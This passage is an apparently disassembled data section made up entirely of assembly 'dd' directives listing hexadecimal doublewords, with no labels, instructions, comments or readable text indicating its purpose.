		dd 0DDCBC7DBh, 0CAA7E4FEh, 8DB7CEF3h, 1003E494h, 0FBE714DFh
		dd 0BAE014E3h, 0FEF4949Fh, 7CC4E648h, 4860EED5h, 100AEB39h
		dd 0DAF2718Ah, 0B7D74B11h, 0B204E5F9h, 0A3D87931h, 0E4E73B29h
		dd 97D98044h, 0BBADD33Dh, 18F0F99Fh, 0E6BDE5E1h, 8DB7C193h
		dd 7D2CF81Eh, 0B3F35A8Fh, 1892E471h, 3B630E6h, 2FAD616Eh
		dd 0BA0AEBD4h, 404D80E4h, 0DE0AEF12h, 897640Ah,	3AD84B59h
		dd 0A27CC2FBh, 0E8D3EBB0h, 77DE8653h, 0CFA39DAEh, 1A66F22h
		dd 1892E42Dh, 0AF8E9586h, 538C1B77h, 88A58281h,	5A4E8D82h
		dd 0F8E8E93Fh, 1A90A3Ah, 252597FDh, 786DA587h, 526CD695h
		dd 4D1AA788h, 0F96DA9E8h, 52A58288h, 0F53728E3h, 0F3311809h
		dd 6FB27FA4h, 63F92DAAh, 43A93B46h, 0CBB5B8E4h,	0B724CFBBh
		dd 8A7B41C8h, 52A5835Ah, 0C31B9388h, 7F2505B5h,	937E8CB0h
		dd 0EEF3277Ah, 0E85718F0h, 0F1C63FC0h, 0B63842C1h, 0ED5918F0h
		dd 0F83DCE22h, 66B8D382h, 0CB1DA16Ah, 0C4B83CA4h, 0D78D00C4h
		dd 2F508911h, 24F41FAEh, 0DA918F4h, 67F12184h, 0C60E9C94h
		dd 0C32C8281h, 0B6411381h, 0A431BF00h, 336EF086h, 39F1B6C3h
		dd 1DEC9F1Eh, 0BE3BC63Ah, 3642A9CFh, 7F1B6C3h, 44989E59h
		dd 83387BADh, 298C9B0Bh, 33BBBD0Dh, 0D332CF58h,	48F1B6AFh
		dd 19F1B6B2h, 151169AEh, 10D3F7EDh, 6C39FEA4h, 0BAE852AEh
		dd 723D08FBh, 1937C18Fh, 379A96FBh, 73BCEDD5h, 0D75042C0h
		dd 1937DEC0h, 38CB03FBh, 0B6F3D538h, 4BA68FC6h,	259DE914h
		dd 19384099h, 0B7FBB6FBh, 5B3BB25Ch, 0AFD1B6F4h, 0ADFCD76Ch
		dd 2CDCC68Bh, 83F8C66Ah, 0BC18B6F4h, 9473F36Fh,	68AC189Fh
		dd 53EA01CBh, 7275C344h, 41373AC4h, 0B26A71C9h,	13963F54h
		dd 5E31A4A9h, 0BBC92B0Bh, 47596A07h, 4CC75C25h,	5D092960h
		dd 6F87E36Fh, 0FA05DC55h, 32448DB3h, 0B5F88B4Ch, 7A75E746h
		dd 0CEE85A7Fh, 2EA2986Ch, 0AC38AA7Ah, 0E94582CCh, 0EB1BE756h
		dd 0DF65ABAAh, 1A4B3847h, 0EB37043Fh, 2FF75D47h, 2FF75D3Fh
		dd 1A47FBAEh, 8AD3C53Fh, 0C6EBDDE0h, 67F26775h,	88D4538Fh
		dd 0D3D4CCB8h, 45ADC54Ah, 2EBDC01h, 0A9F78824h,	7A91AE84h
		dd 0A7B97506h, 4F7C77F5h, 0DAA76A32h, 7F29CEC3h, 0E164D0DCh
		dd 9F440702h, 554B69D6h, 8DD10BE5h, 0A174776h, 37470EBBh
		dd 57310F2Dh, 4F0F79B1h, 7526DBC3h, 6165638Ch, 6B36C44Ah
		dd 0EE5B1FBEh, 54DC5A36h, 837F0B26h, 0E6ECE53Eh, 0A94E2308h
		dd 74964AC3h, 0E4CDCA99h, 0B5D82663h, 91139F90h, 58D40CB3h
		dd 4603D880h, 4CD1F736h, 0CFCDB820h, 60E299F9h,	0D877D058h
		dd 1CBF3501h, 1471E603h, 87D25DBCh, 1CAFD26Fh, 0BA2070F6h
		dd 42C47B01h, 701ADCCh,	9AA335EEh, 43555A67h, 0BC9D8738h
		dd 3724B93Ah, 8375A6C7h, 0A559CDADh, 8029F4D2h,	82E6BD6h
		dd 700A3BB4h, 822B68C8h, 8090D312h, 3F235654h, 0D10DCEC5h
		dd 0E77A73C3h, 0A59302DAh, 37CE8E3Dh, 0B72D937Bh, 730983FFh
		dd 7057F841h, 0DEF1D0A8h, 2E81C026h, 8F1A9BC6h,	0FAEE7716h
		dd 29C0CCE0h, 0B20AAEA7h, 3A54D951h, 0B8AAF672h, 321D9D0Eh
		dd 3F248E77h, 0A307E5E3h, 90C2F09h, 64B4EDBBh, 0D92EB783h
		dd 0C0437954h, 2C8F26A6h, 8EA57950h, 231D1F32h,	0D86430FCh
		dd 0E1920373h, 145F955Fh, 0C629078h, 0E2EEF94Dh, 11987C9h
		dd 0DD0BD5C5h, 3754FEBh, 96BF77Ch, 481EEF44h, 58F22E0Bh
		dd 852FB8E4h, 57EEECE0h, 37429C94h, 0EF302315h,	3660BE78h
		dd 0F2B45127h, 31F5C8F8h, 6CBA0D5Ah, 380B7075h,	63FF4E9Bh
		dd 0C61B56D3h, 0EA7A5C9Ch, 49666018h, 5496C3F9h, 0B1108425h
		dd 0B12EA10Ch, 0A0D59354h, 71E68416h, 1FA18670h, 9A54F8E7h
		dd 0E0B0A38Fh, 1A5F92D5h, 0FA2D5412h, 1A6613A2h, 3ECF9CB4h
		dd 0F3B9FE7Eh, 5ABF161Bh, 32643418h, 75952C45h,	5889A479h
		dd 6E40EFC7h, 2C244161h, 36F5C9EBh, 0E94849C0h,	82465179h
		dd 0BF440751h, 92E5BB0Ch, 0F6C4BBE4h, 3E36FCA4h, 4FD29BFCh
		dd 44658CE8h, 0D9D29E9Ah, 0F9324FDCh, 61A2B3D0h, 0B810DE5Ch
		dd 0F6582911h, 76D29CDCh, 0B1CB561Fh, 27F741EAh, 762B6FFBh
		dd 0D98F68Eh, 0AB4B690Fh, 9E6207ECh, 0E5531A06h, 0DDDA5212h
		dd 35C1363Ah, 31A84CC9h, 8FB6B7F5h, 96C25A3Bh, 547774B7h
		dd 7CB537B7h, 839A7407h, 13C67186h, 7497D89Bh, 0E29FCC50h
		dd 30D1A6CAh, 0CE591A2Eh, 9F097DB7h, 1A5EDEEBh,	6471E8Dh
		dd 0AA606E6Ah, 5AA3B1DAh, 3DC98C59h, 380D12ADh,	0D184641Ah
		dd 6CAC885Bh, 2DC7C9CDh, 8B728694h, 2C187920h, 4D04A4D1h
		dd 531EC140h, 99DA013Fh, 0E389CFF6h, 46EE1103h,	7B4FE002h
		dd 4E945D17h, 4CF06195h, 0D19F0F78h, 11E8A564h,	9426DD0Ch
		dd 0A00B8E14h, 7BDD2662h, 9518FAB4h, 0B98FB3C8h, 2C45C4E9h
		dd 0B8C1EAFFh, 0D5CC4A85h, 0DDAED8B2h, 262AD65Dh, 0C964D709h
		dd 990DDAAFh, 5CB772F9h, 0A43315B1h, 3B3172F8h,	0E3FEE332h
		dd 1C0B95B8h, 0C69B6F03h, 846C0C94h, 0DAA76932h, 1A349EC3h
		dd 86A50478h, 6316B8BDh, 93858D16h, 84CE1B9Bh, 57A54DF9h
		dd 2FF3D7D0h, 4FA9013Fh, 3F0E62D2h, 7B274AA2h, 64EEB670h
		dd 0BC419F03h, 98AB8357h, 0F66096C0h, 0C8DC1801h, 0C3C7615Ah
		dd 24E6736Ah, 6FB48E72h, 0DCAE8D0Ch, 4AEB33D2h,	9FD7C3ECh
		dd 9BF8A942h, 4F130280h, 0AC55FC65h, 4A0050BAh,	7637DF27h
		dd 75A2457Fh, 0BC8067EFh, 85623447h, 6F872053h,	0A9EA8401h
		dd 97D170C5h, 0FC9E24E1h, 8E78F855h, 0A369B706h, 405C8D6Fh
		dd 0C2F2D8Bh, 6BA2C0A5h, 5362FA7Ch, 24E761CAh, 0BCD1A6E8h
		dd 1E283EF8h, 358C0016h, 17468887h, 3F04C472h, 9FC225CAh
		dd 0C9465091h, 1A5EB0C7h, 646D827h, 25B26E6Ah, 0CF78D0Bh
		dd 54116F24h, 0F6EA01D1h, 948D97EEh, 0E8ACBD8Bh, 1F13F066h
		dd 0E05E3A75h, 0D10293BBh, 22C99611h, 52140238h, 98185DD4h
		dd 0E1E29E4Fh, 52A95DBEh, 0B1EA820Ah, 6E0CCB4Fh, 87636E2Bh
		dd 263B77FEh, 38158AB5h, 0F45618ADh, 8659C130h,	42E1A8E4h
		dd 0C263C448h, 2FF75E9Dh, 3923D7EEh, 4B3E9393h,	0BF39C522h
		dd 16CCA27Ah, 0A94F533h, 7505C9B2h, 63DA014Ah, 0C3A33D01h
		dd 3DC7D586h, 1FEC02C8h, 92B4AEFDh, 1A4ADD01h, 2C2D303Fh
		dd 0CC37B4B2h, 72A6074Bh, 6569D264h, 2F2A1530h,	73DE5D3Fh
		dd 0CE485C55h, 0CE5EAEB3h, 0F8455AF7h, 0C516AE3Ch, 0B48A45F7h
		dd 0CD81B83Ch, 5D829C60h, 799305C3h, 2A73C1BFh,	2FF75EE4h
		dd 0E42EDCCEh, 3E59C7C3h, 0AFAE4B67h, 2FF75D4Ch, 372EC948h
		dd 19829DACh, 0C2EC5D3Fh, 0ADF78993h, 0E36C68Ah, 0E6A5FA34h
		dd 88C9078Dh, 7A48539Eh, 0CCBAD944h, 7271F6B5h,	0D91B0888h
		dd 1090ABB1h, 5DC9D9E1h, 0DF748C19h, 1B720648h,	8A78FB48h
		dd 0C2A10C4Bh, 3405C2A8h, 4876D416h, 0DF8D5297h, 8ECDBBD8h
		dd 463015C4h, 7FE3EECFh, 968CD3B4h, 0AFCCE41h, 7EC3C1E2h
		dd 0FC962973h, 152A3031h, 0EEC31E84h, 0A9233E9Ch, 8B1F7C04h
		dd 0F3728531h, 0B41A926h, 3623A0E4h, 93887158h,	0B3AAC87Ah
		dd 1CB0A9B1h, 1A027AEDh, 0AF3E16B9h, 1A5EC8A5h,	60C9FF3Fh
		dd 625BE182h, 185F448h,	508F7661h, 0CB2A77Fh, 55F75D3Dh
		dd 59F72B75h, 8E6FB13h
		dd 254F3A38h, 0FA850C3Ah, 97C33FF7h, 0F925140Ah, 67227B3Ch
		dd 65F775E4h, 48825D48h, 1A5EDE19h, 0B7792F1h, 0FB34256Dh
		dd 9479C97Ah, 6DA1B466h, 6015B754h, 0FDC85FD6h,	22EDC31Bh
		dd 5C01AEE3h, 0FA2D4792h, 8D68DD6Fh, 6768B5EDh,	714378B1h
		dd 1AD5A5BAh, 0B096093Fh, 6746B9DAh, 7A3C2206h,	0C073EEEDh
		dd 0D858F358h, 0B5EF2366h, 1ABAEF87h, 9FEBD050h, 3CF741EAh
		dd 8FC0C673h, 353AC181h, 618D1F0Bh, 7ACCE952h, 1A4AC64Eh
		dd 0F4DEA43Fh, 97F75D3Ch, 0B3D26AA0h, 1A5F043Fh, 8347D33Fh
		dd 216A2345h, 43F12B6Ch, 792F07A4h, 2FF75DB8h, 671FA4B0h
		dd 0CDF75DBBh, 74F72D3Fh, 0A371F84Ah, 21951D23h, 4E296FAFh
		dd 65FFD858h, 39ECB4D4h, 0F6C6EA06h, 0AFBC5A19h, 1A556AC9h
		dd 3A513A57h, 500C4D09h, 5DFEADFCh, 0E022E7BBh,	740FF76Eh
		dd 0AD4A61A0h, 35B71EF8h, 0A3A02CDCh, 0BAE86481h, 39ED8A92h
		dd 0B33E4B06h, 39E8635Ah, 28798E06h, 0D716511Eh, 6BDB0E66h
		dd 1A8A9815h, 87F2D0CCh, 0D6578CC8h, 9D57B455h,	3AFEAD0Eh
		dd 0E2CC2C4Bh, 499EFEFBh, 0CEAA9968h, 324334F6h, 33730B6Bh
		dd 25632D0Eh, 0D0ED511Eh, 0B9B38359h, 69BED90Ah, 0F66A967h
		dd 1F68C89Bh, 8AA478C1h, 9234C615h, 0A3FB2A76h,	4E3B51D4h
		dd 0E9F52D3Ah, 8E491642h, 9B925F0Bh, 3AFF51DBh,	0D107B795h
		dd 29C5B3DDh, 0A7934446h, 235CD8A3h, 2D8F2D92h,	294F4C0Ch
		dd 2F70FEF5h, 0AAFF51E2h, 4C8D09A4h, 5201522h, 0C7E58D34h
		dd 0F52FFB4Fh, 25DF25F2h, 0BAFF69B6h, 5AA67B8Bh, 50668C66h
		dd 76FC0B2Eh, 68250BFDh, 41E58CCAh, 5228E646h, 14E9C23Ah
		dd 0ECAD8A47h, 451446C3h, 0A80A4EB4h, 411DFECCh, 788AC19Bh
		dd 435DD7ADh, 9A264A84h, 171FB22Ch, 2F36B4D4h, 0DB078E9Dh
		dd 9A6A6533h, 19D17A31h, 1A674C45h, 0D97A001Dh,	0D0EBA978h
		dd 0B775C581h, 572ACD25h, 0C6AB11Eh, 41E4B1F3h,	0D588644Eh
		dd 41DFB161h, 6511FC4Eh, 0C74EDE40h, 57D1C3BCh,	0F5E2DA29h
		dd 0CE0F8F50h, 0D67B454Fh, 46C4D80h, 2497CBB4h,	10817873h
		dd 0BB961C32h, 70C6C33Fh, 4096D88Fh, 3C1CA1ADh,	6B3D54FFh
		dd 72A101FDh, 0F6F2DB08h, 30FFB942h, 0FFB37682h, 70C7519Ch
		dd 4096D88Fh, 3C1CA1ADh, 0EC3D54FFh, 72A120C5h,	0EF2DB08h
		dd 0B63D2A13h, 0D281795Bh, 31004D49h, 58A33882h, 10666518h
		dd 66981D38h, 0A42554FEh, 7228E417h, 0E641F479h, 716F0685h
		dd 4A8FDA94h, 68A24DA1h, 0CE208B97h, 6C4D2C03h,	65AF7655h
		dd 0EC9776B8h, 0E59456BAh, 7D58FF35h, 0D69CCB9h, 1722B716h
		dd 0E977725h, 4EA55383h, 741F4510h, 2A6C4D80h, 716A5418h
		dd 0AE37D355h, 0F628FF1Eh, 3B2812AAh, 0FC4788FFh, 0AA258BFBh
		dd 71817DEBh, 0C720CB79h, 0E333EFD8h, 28257365h, 31004D76h
		dd 55A33882h, 345E30Ch,	66981D34h, 0A42554FEh, 7228E417h
		dd 0F15AC679h, 0F6CD76BDh, 0E39C89E7h, 0D89D82FDh, 10817980h
		dd 31B6AA47h, 504E31Eh,	1BC2F256h, 9D982A88h, 71597F68h
		dd 82E9873Eh, 0CA154D80h, 10BB677Ah, 0B9F51499h, 6FA74514h
		dd 5D6C4C62h, 0D719C660h, 71598026h, 82E9873Eh,	0CA154D80h
		dd 10BB6513h, 0B9F51499h, 0C9C7C33Ch, 504D8A8h,	32AD20DDh
		dd 6F238103h, 0DBB27655h, 45473810h, 844ECFh, 0DDBF767Dh
		dd 0CA9776BDh, 0AC2BB8FFh, 74FBD01h, 0F3A76133h, 0C3CE7E45h
		dd 6D03FB75h, 589D582Dh, 71661EC5h, 17A09055h, 4DDBDAF9h
		dd 5B660579h, 0E7813E15h, 8BF2A2AFh, 7D7076BDh,	0F0ECFC0Fh
		dd 5F693658h, 0E5914AFDh, 827EE79Ah, 6E0EBF21h,	0C4488C60h
		dd 3B2D5549h, 122C758Ah, 0A3BA357Dh, 0D9A23D9h,	0E0577656h
		dd 0B31EE2CFh, 195221C8h, 27CAE36Bh, 716BA83Eh,	6CEF0F55h
		dd 8B977655h, 3F1FC391h, 0C153C021h, 0C494BEB4h, 7196D3F6h
		dd 0C7AA94E8h, 28B0BFBh, 8B9776ADh, 516C941Bh, 0B09776F7h
		dd 0F4549D8Fh, 4C58319Fh, 0E576F793h, 0B2311BC3h, 68ED680Eh
		dd 2FFB834Bh, 87FBC653h, 1CB0C9E7h, 2DA4969Bh, 0BB5D0AA6h
		dd 1C7A3ED3h, 90B1C93Ch, 1039FBEh, 413A8C15h, 72DB1A8Ch
		dd 0D085AD16h, 336F51CAh, 0D0F2DE78h, 0E1B1DB76h, 90B29747h
		dd 8A6380BEh, 0B8DDD3CDh, 7E902ECEh, 144E5109h,	0B3536E24h
		dd 48AE3F6h, 0F8AAFAC2h, 9BB5488h, 90A99CE2h, 21250BBEh
		dd 27DC0D4Eh, 446A7E12h, 89BC6136h, 6D1CC1BAh, 8B49B82Fh
		dd 0E6829053h, 90A8A581h, 8F48A3BEh, 0C6A92EC7h, 78651E5h
		dd 8D8F2444h, 5D1B6F5Ch, 90A8F9E8h, 0CF243BBEh,	2E1C7780h
		dd 62EA5B51h, 0E8DB8B2Dh, 164EEA44h, 14911AE2h,	0BC722229h
		dd 25022E30h, 0A8C40E72h, 4953E323h, 6A8751CAh,	33367B3Eh
		dd 0DD057D42h, 0E2CE4813h, 0D6B91F52h, 0A44D7B4Eh, 0A4543383h
		dd 8BDE458Ch, 0AFE81342h, 7F94ECBh, 611233AEh, 78A2A7DBh
		dd 0EE543133h, 0DD62730Fh, 0C7FED5ADh, 0C044E0DBh, 94C368B6h
		dd 0BBDC06A1h, 0E95433B5h, 47312621h, 0B4CCC8A8h, 0C0CCC3F1h
		dd 0EF54349Fh, 0C3C0225Ah, 62EE7FB5h, 6B4A819Dh, 0C5FCC458h
		dd 1C2A5DDFh, 1FA29CA6h, 69B434ABh, 0F644CC42h,	0F990E275h
		dd 1D46E3B9h, 3C5134ABh, 0C56187D5h, 0FB3B6BC6h, 0CEC8FDD7h
		dd 0CF78FFD8h, 3FCA000Eh, 73C02C82h, 0A995020Eh, 31629EA4h
		dd 49492CE0h, 1D2E14AAh, 70F3FC1Fh, 702C8AC1h, 49490CC1h
		dd 725EA3AAh, 0A6F97DF1h, 0F23010D1h, 0F088D8FCh, 49545DDAh
		dd 0F13F34AAh, 0A3B440DDh, 1C9D16B8h, 1C2A5DD1h, 1FA297EDh
		dd 3CB434ABh, 9E4109D5h, 0F990E262h, 75C4E3B9h,	241234A4h
		dd 56D71B0Eh, 0CA52B1EEh, 9F71DE3h, 5D3C0CECh, 2D380161h
		dd 6BC1C0Dh, 0F5C5B1BCh, 67EFD11h, 0CC64819Bh, 10991B43h
		dd 0BE889C29h, 673646ABh, 0F2FD3763h, 596FB3B6h, 6E423B4Bh
		dd 0FD868105h, 26735A0Ah, 0A1B75A6Dh, 0A756161Fh, 4440BDC3h
		dd 35AEA201h, 46F49231h, 6DF05B81h, 0D65A765Bh,	0B7EBCF44h
		dd 0EBF45199h, 0E28731BDh, 98F4922Eh, 566B5435h, 0F3660045h
		dd 42B45125h, 57AD5EA6h, 4EACCED2h, 9121EE6Eh, 0C4BAA6A9h
		dd 9446003Fh, 3394512Ah, 57AD5EA7h, 93ACCED2h, 91199435h
		dd 0C4BAA6A9h, 2226003Fh, 7B3B0DAh, 417451DAh, 57AD5EA6h
		dd 4EACCED2h, 8E0F766Eh, 53BAA6A9h, 40060045h, 57AD5EA6h
		dd 93ACCED2h, 8EB3D435h, 53BAA6A9h, 0FAE60045h,	0CA5492F1h
		dd 42B493C3h, 57AD5EA6h, 4EACCED2h, 911E8E6Eh, 53BAA6A9h
		dd 22C60045h, 0D48E132Fh, 417492EDh, 57AD5EA6h,	93ACCED2h
		dd 91228435h, 53BAA6A9h, 7CA60045h, 57AD5EABh, 4EACCED2h
		dd 907F566Eh, 53BAA6A9h, 0E5860045h, 617492BEh,	3A0E2FCCh
		dd 335B92C1h, 57AD5EA7h, 93ACCED2h, 91244435h, 53BAA6A9h
		dd 58660045h, 42AE2FDAh, 57AD5EA6h, 4EACCED2h, 911E8E6Eh
		dd 53BAA6A9h, 37460045h, 40F4921Ch, 57AD5EA6h, 93ACCED2h
		dd 8D506435h, 53BAA6A9h, 34260045h, 396E1307h, 57AD5EA7h
		dd 4EACCED2h, 8F7A7E6Eh, 0BABAA6A9h, 0DE06003Fh, 0ED749286h
		dd 0C57492F6h, 42BB9296h, 57AD5EA6h, 93ACCED2h,	90BCD435h
		dd 0BABAA6A9h, 0D5E6003Fh, 65949286h, 6BF492F1h, 7C9B9291h
		dd 57AD5EABh, 4EACCED2h, 0E5D8F66Eh, 0BABAA6D0h, 0D1C6003Fh
		dd 8E349285h, 602E1428h, 173493C3h, 0CFCE2FD7h,	3E1B92C0h
		dd 57AD5EA6h, 93ACCED2h, 8CF1B435h, 0BABAA6A9h,	4CA6003Fh
		dd 40F492E4h, 57AD5EA6h
		dd 4EACCED2h, 8F82AE6Eh, 0BABAA6A9h, 5386003Fh,	890E13FFh
		dd 9CCE1428h, 54D492BDh, 0F51492B0h, 691492F1h,	267493BEh
		dd 334E134Ah, 57AD5EA7h, 93ACCED2h, 8E1C1435h, 0BABAA6A9h
		dd 0AA66003Fh, 5CEE1374h, 75B49327h, 22AE1428h,	614E132Fh
		dd 47F493C3h, 7C8E1349h, 57AD5EABh, 4EACCED2h, 907F4E6Eh
		dd 0BABAA6A9h, 0FF46003Fh, 5B0E1342h, 0F52E1370h, 0D94E142Bh
		dd 42B492EDh, 57AD5EA6h, 93ACCED2h, 8E1A5C35h, 0BABAA6A9h
		dd 7D26003Fh, 0A4AE1312h, 3D549218h, 57AD5EA6h,	4EACCED2h
		dd 0E89B866Eh, 0E1BAA6D0h, 83060017h, 0C9F3B0EDh, 7C738572h
		dd 57AD5EABh, 93ACCED2h, 8EAF5435h, 0E1BAA6A9h,	1E60017h
		dd 7CD451A0h, 57AD5EABh, 38ACCED2h, 59846B2Ch, 1ACCEC9h
		dd 53E6B75Dh, 6C460045h, 6D945169h, 40F3B0B7h, 57AD5EA6h
		dd 18ACCED2h, 1F16AC46h, 5626007Ah, 3393CF44h, 57AD5EA7h
		dd 13ACCED2h, 51E12BC1h, 906003Ch, 0A9D451A1h, 4173B0B0h
		dd 57AD5EA6h, 54ACCED2h, 3CEF05E8h, 0ABE600BBh,	833B06Dh
		dd 4173B06Fh, 57AD5EA6h, 18ACCED2h, 6844BCF4h, 0AEC600BBh
		dd 3393B067h, 57AD5EA7h, 0DEACCED2h, 1ECDB0D7h,	7A6007Ah
		dd 40F3CF57h, 57AD5EA6h, 51ACCED2h, 4806334Ah, 0A860079h
		dd 4173CF57h, 57AD5EA6h, 17ACCED2h, 69FFF381h, 0B76600BBh
		dd 0DF13CFB1h, 7CD3CBDCh, 57AD5EABh, 0CFACCED2h, 1ECE95EDh
		dd 4746007Ah, 2693CF29h, 27D3CF2Ah, 0C11B935Ch,	3A33B0FEh
		dd 57AD5EA7h, 0EEACCED2h, 51CAE2FFh, 5526003Ch,	1053D080h
		dd 80D3D084h, 0D13B037h, 3D53B069h, 57AD5EA6h, 71ACCED2h
		dd 9C3A58E3h, 41060045h, 3393B0E8h, 57AD5EA7h, 79ACCED2h
		dd 2AC405B1h, 0FE6007Ah, 0FFD3B021h, 339451C0h,	57AD5EA7h
		dd 7FACCED2h, 51C26D8Dh, 97C6003Ch, 6673CF3Eh, 1493CF50h
		dd 4173CF2Ah, 57AD5EA6h, 85ACCED2h, 3E8032AFh, 0ABA600BBh
		dd 8E53CF3Eh, 4173CF6Ch, 57AD5EA6h, 2EACCED2h, 6A00836Dh
		dd 7E8600BBh, 42B3CF6Ch, 57AD5EA6h, 40ACCED2h, 0FF41F22h
		dd 7C66003Dh, 57AD5EABh, 0A6ACCED2h, 532F01B0h,	74460045h
		dd 0B2B3CF75h, 4173CF52h, 57AD5EA6h, 6BACCED2h,	7820526Ah
		dd 81260017h, 7CD3CF49h, 57AD5EABh, 0AACCED2h, 31ACCFF1h
		dd 0F806003Fh, 42B3CF4Dh, 57AD5EA6h, 0BBACCED2h, 243FF9D8h
		dd 56E6003Fh, 7CD3B0EEh, 57AD5EABh, 8ACCED2h, 26307774h
		dd 73C6003Fh, 9673B0B0h, 0F113B07Dh, 9BB3B0B0h,	0E2B3B0B0h
		dd 751B9358h, 42B3B037h, 57AD5EA6h, 77ACCED2h, 7FCC5F8Ch
		dd 0FAA600FFh, 21F3B07Dh, 0F0D3B0B4h, 0FA9B9358h, 0DCF3B005h
		dd 3A33B034h, 57AD5EA7h, 3AACCED2h, 476915DCh, 9B86003Eh
		dd 40F3B085h, 57AD5EA6h, 0B5ACCED2h, 0D15C0B4Eh, 0BF66003Fh
		dd 0C4D3B023h, 42B3CFB5h, 57AD5EA6h, 89ACCED2h,	0D15F7DC7h
		dd 1E46003Fh, 0AA74518Dh, 7C738504h, 57AD5EABh,	38ACCED2h
		dd 7FFFAFEDh, 142600FFh, 3DD4518Dh, 7C738570h, 57AD5EABh
		dd 80ACCED2h, 0C484B50Dh, 0B906003Fh, 0D3CF3Dh,	0AD745192h
		dd 3D53B06Dh, 57AD5EA6h, 6ACCED2h, 0B4816BEBh, 1E6003Fh
		dd 60D451E1h, 60F451F9h, 6C93CBEAh, 0DE345C4Eh,	0A273B0ADh
		dd 79F45187h, 0C0BB9288h, 335B9288h, 57AD5EA7h,	42ACCED2h
		dd 54523877h, 6CC60045h, 6D73CBE5h, 0FF0E1342h,	0B56E132Fh
		dd 50AE2FD0h, 25CE13FFh, 0FFF492F7h, 3B7492F6h,	5BFB92BFh
		dd 0E4B3B0F1h, 0E6B3B0F1h, 3E1B92C0h, 0C15B92C3h, 4B13B047h
		dd 7273B029h, 0C41B95C9h, 0E573B010h, 0ED3B04Dh, 0DDDB91B7h
		dd 0DBDB9295h, 2EDB9288h, 3713CF2Ah, 57AD5EA7h,	0DCACCED2h
		dd 0C1EF96EFh, 0FA6003Fh, 52D451A9h, 1313CBE5h,	0C0EE2FDBh
		dd 0FCCE130Eh, 80F3B060h, 91B4518Dh, 0CDB45180h, 397B9281h
		dd 57AD5EA7h, 6EACCED2h, 0B7E1490Dh, 4886003Fh,	9D5451E0h
		dd 0DCF3CF41h, 0F8745C3Dh, 0F2AE13E9h, 4F4E1305h, 816E142Bh
		dd 887492EDh, 8633B044h, 867B91BAh, 9CD3B03Fh, 3A33CF4Bh
		dd 57AD5EA7h, 89ACCED2h, 9F89B7DCh, 52660045h, 0DD3451A8h
		dd 4CB451AAh, 0AB6E132Ch, 0C9FB9292h, 42BB95F2h, 57AD5EA6h
		dd 89ACCED2h, 0D1926020h, 0BE46003Fh, 0ED74519Ch, 823451A5h
		dd 0B5D3CF44h, 0A4F451E3h, 5A145198h, 9E13B089h, 3693CF10h
		dd 2613CF61h, 0D7D3CF16h, 0ABF3B077h, 48F45C06h, 0B22E132Fh
		dd 0E70E1309h, 0D3745198h, 13145CFEh, 46D45C53h, 65D45C34h
		dd 858E1319h, 0CA6E2FE3h, 0EA93B042h, 4453B005h, 45345C11h
		dd 0C7D451A7h, 0E549327h, 96B49232h, 35D49321h,	826E1330h
		dd 0F8349324h, 46F49328h, 6D2E1332h, 0BA0E130Dh, 6AF49324h
		dd 904E1310h, 0B84E1312h, 0E0949324h, 29949263h, 3D749264h
		dd 72F4922Dh, 4DD4922Dh, 7B54922Dh, 1E2E1376h, 0FE53B052h
		dd 8B0E1366h, 7A0E1343h, 95EE1367h, 0A02E130Eh,	298E2FD1h
		dd 174E2FD8h, 15EE2FE2h, 0B5D4932Bh, 3D549324h,	66D492F6h
		dd 0DD8E2F20h, 9F4E132Ch, 62AE1428h, 99EE2FD4h,	8E2FE6h
		dd 69AE2FE2h, 5E4E1367h, 4EAE1361h, 392E130Ah, 934E2FD5h
		dd 6E0E132Ch, 4D8E1335h, 926E135Fh, 5C8E1305h, 0A08E1309h
		dd 0A413CF41h, 9D73CF4Eh, 7373CF10h, 0E7CE2F22h, 978E137Bh
		dd 0C58E1312h, 38B493C3h, 1113B0B2h, 0F493B0F9h, 72B45187h
		dd 5954517Fh, 4DD3B057h, 0B81451A8h, 0E33B0FAh,	7E5451ACh
		dd 0A9F3B0FAh, 7593B0BDh, 2D33B0F7h, 0F5CE2FDDh, 0EAAE2FD6h
		dd 9E3B928Ch, 34545187h, 3354519Eh, 76B3B046h, 3C5B928Ah
		dd 42BB9292h, 397B9290h, 57AD5EA7h, 19ACCED2h, 0C1819818h
		dd 0F426003Fh, 0E253CF16h, 8BB3CF1Ah, 2AD3CFFFh, 9E2E1344h
		dd 0CC8E13FEh, 0EE6E13FDh, 720E1335h, 7ED45C38h, 4CB45C3Dh
		dd 16945C71h, 11EE1330h, 0DDCE131Ah, 0EA73B042h, 8633B005h
		dd 67549321h, 95D4922Dh, 834E1340h, 0B9B49279h,	5E34932Ah
		dd 88E136Dh, 0E533B0B0h, 796E2FA9h, 146E1376h, 0F94931Fh
		dd 58AE1336h, 55EE2FD1h, 6CAE1333h, 0E84E132Eh,	30EE2FD4h
		dd 50B49328h, 3AB492FAh, 13B49282h, 0CB0E1332h,	0A20E1428h
		dd 0BDEE2FD1h, 0EC4E136Eh, 3B0E14A3h, 4B8E1307h, 7FAE130Fh
		dd 0A16E1305h, 0B06E1335h, 510E1428h, 0DA13CF48h, 3A13CF4Eh
		dd 0F7EE1378h, 364E1343h, 310E1307h, 0D16E132Fh, 59BB95F5h
		dd 36B45184h, 4C3451A8h, 0D3B085h, 777451A9h, 829B9157h
		dd 3E1B95F2h, 57AD5EA6h, 0AACCED2h, 0F8A5CE5Ah,	0B0600BBh
		dd 6E13CF53h, 0B7CE132Eh, 40F3B03Eh, 57AD5EA6h,	29ACCED2h
		dd 0F831C1A9h, 0FCE600BBh, 0D4F4519Fh, 5AFB9157h, 2D3B01Ah
		dd 335B9291h, 57AD5EA7h, 9EACCED2h, 0F5CA85E8h,	0D2C600BBh
		dd 3394519Ch, 57AD5EA7h, 0EBACCED2h, 0F5E7FFB3h, 23A600BBh
		dd 3AF451E3h, 1E13CF50h, 0E51451A0h, 5433CF1Ah,	9C53B042h
		dd 0ADAE1312h, 250E13FEh, 0EBEE1335h, 0DA8E1335h, 0A0545CFEh
		dd 19345C40h, 47145CFDh, 0A46E1332h, 0A4E13FEh,	0BDF3B07Ch
		dd 0C2B3B005h, 3FD49321h, 8754922Dh, 0E60E1340h, 99349327h
		dd 77B49232h, 210E2FBFh, 7DB3B052h, 16B492F7h, 0B6EE2FC2h
		dd 2E14931Fh, 0C86E1305h, 0B2E1333h, 0D0CE2FE2h, 5D349321h
		dd 0FD349324h, 6F349327h, 7B3492C0h, 828E1359h,	4A8E13FEh
		dd 0B56E2FD7h, 1FCE2FE5h, 4F8E131Ah, 0E00E1319h, 0E02E2F1Dh
		dd 3B6E1421h, 0CDF4922Eh
		dd 0F26E2FA9h, 28CE1421h, 632E130Dh, 0A9EE1364h, 0AA14932Ah
